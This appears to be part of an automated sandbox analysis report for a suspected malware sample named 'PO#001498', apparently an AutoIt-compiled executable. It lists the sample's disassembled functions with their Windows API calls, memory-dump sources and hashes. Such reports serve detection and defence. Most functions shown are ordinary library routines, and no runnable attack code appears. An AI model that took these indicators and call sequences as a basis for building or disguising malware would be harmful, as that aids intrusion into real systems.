                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2223660684-0
                                                                                                                                                                                                        • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                                                        • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 35F08C362422019F82249B59EA488DBB3FDEBE97213009C2FE142C32108BB5F806CB75
                                                                                                                                                                                                        Function 00447268 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                          • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                          • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                          • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                        • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                                                                                                                        • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                                                                                                                        • EndPath.GDI32(?), ref: 004472B0
                                                                                                                                                                                                        • StrokePath.GDI32(?), ref: 004472BE
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2783949968-0
                                                                                                                                                                                                        • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                                                        • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                                                                                                                        Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __getptd.LIBCMT ref: 00417D1A
                                                                                                                                                                                                          • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                                                          • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                                                        • __getptd.LIBCMT ref: 00417D31
                                                                                                                                                                                                        • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                                                                                                                        • __lock.LIBCMT ref: 00417D4F
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3521780317-0
                                                                                                                                                                                                        • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                                                        • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                                                                                                                        Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 00471144
                                                                                                                                                                                                        • GetDC.USER32(00000000), ref: 0047114D
                                                                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                                                                                                                                        • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2889604237-0
                                                                                                                                                                                                        • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                                                        • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                                                                                                                                        Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetDesktopWindow.USER32 ref: 00471102
                                                                                                                                                                                                        • GetDC.USER32(00000000), ref: 0047110B
                                                                                                                                                                                                        • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                                                                                                                                        • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2889604237-0
                                                                                                                                                                                                        • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                                                        • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                                                                                                                                        Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                                                        • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                                                        • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2710830443-0
                                                                                                                                                                                                        • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                                                        • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                                                                                                                        Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                                                                                                                                        • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                                                                                                                                          • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                                                                                                                                          • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 146765662-0
                                                                                                                                                                                                        • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                                                        • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                                                                                                                                        Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                                                                                                                                          • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                                                        • __getptd_noexit.LIBCMT ref: 00414080
                                                                                                                                                                                                        • __freeptd.LIBCMT ref: 0041408A
                                                                                                                                                                                                        • ExitThread.KERNEL32 ref: 00414093
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3182216644-0
                                                                                                                                                                                                        • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                                                        • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                                                                                                                                        Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BuffCharLower
                                                                                                                                                                                                        • String ID: $8'I
                                                                                                                                                                                                        • API String ID: 2358735015-3608026889
                                                                                                                                                                                                        • Opcode ID: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                                                                        • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d6f66c2f2361e76d4402681cdd51d930a97151c2fdd89a539067bc835b5788b1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                                                                                                                        Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                                                                                                                                          • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                          • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                                                                                                                                        • String ID: AutoIt3GUI$Container
                                                                                                                                                                                                        • API String ID: 3380330463-3941886329
                                                                                                                                                                                                        • Opcode ID: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                                                                        • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 167728f1ef0b290fa0ab537cd1f49c444f99f24bf3b7fe0b60cc3227d219d98d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                                                                                                                                        Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                        • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                        • String ID: 0vH
                                                                                                                                                                                                        • API String ID: 1143807570-3662162768
                                                                                                                                                                                                        • Opcode ID: bf773a96792e7386fbbaa0db16cdf7f70de857e2ea7db1c9c90ef838773f5a19
                                                                                                                                                                                                        • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bf773a96792e7386fbbaa0db16cdf7f70de857e2ea7db1c9c90ef838773f5a19
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                                                                                                                        Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: HH$HH
                                                                                                                                                                                                        • API String ID: 0-1787419579
                                                                                                                                                                                                        • Opcode ID: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                                                                                                                                                                                                        • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                                                                                                                        Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InfoItemMenu_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 2223754486-4108050209
                                                                                                                                                                                                        • Opcode ID: 60781951bb834b78e0167a3e9afe01c70176745dc522d898366d6ad0e6242f51
                                                                                                                                                                                                        • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 60781951bb834b78e0167a3e9afe01c70176745dc522d898366d6ad0e6242f51
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
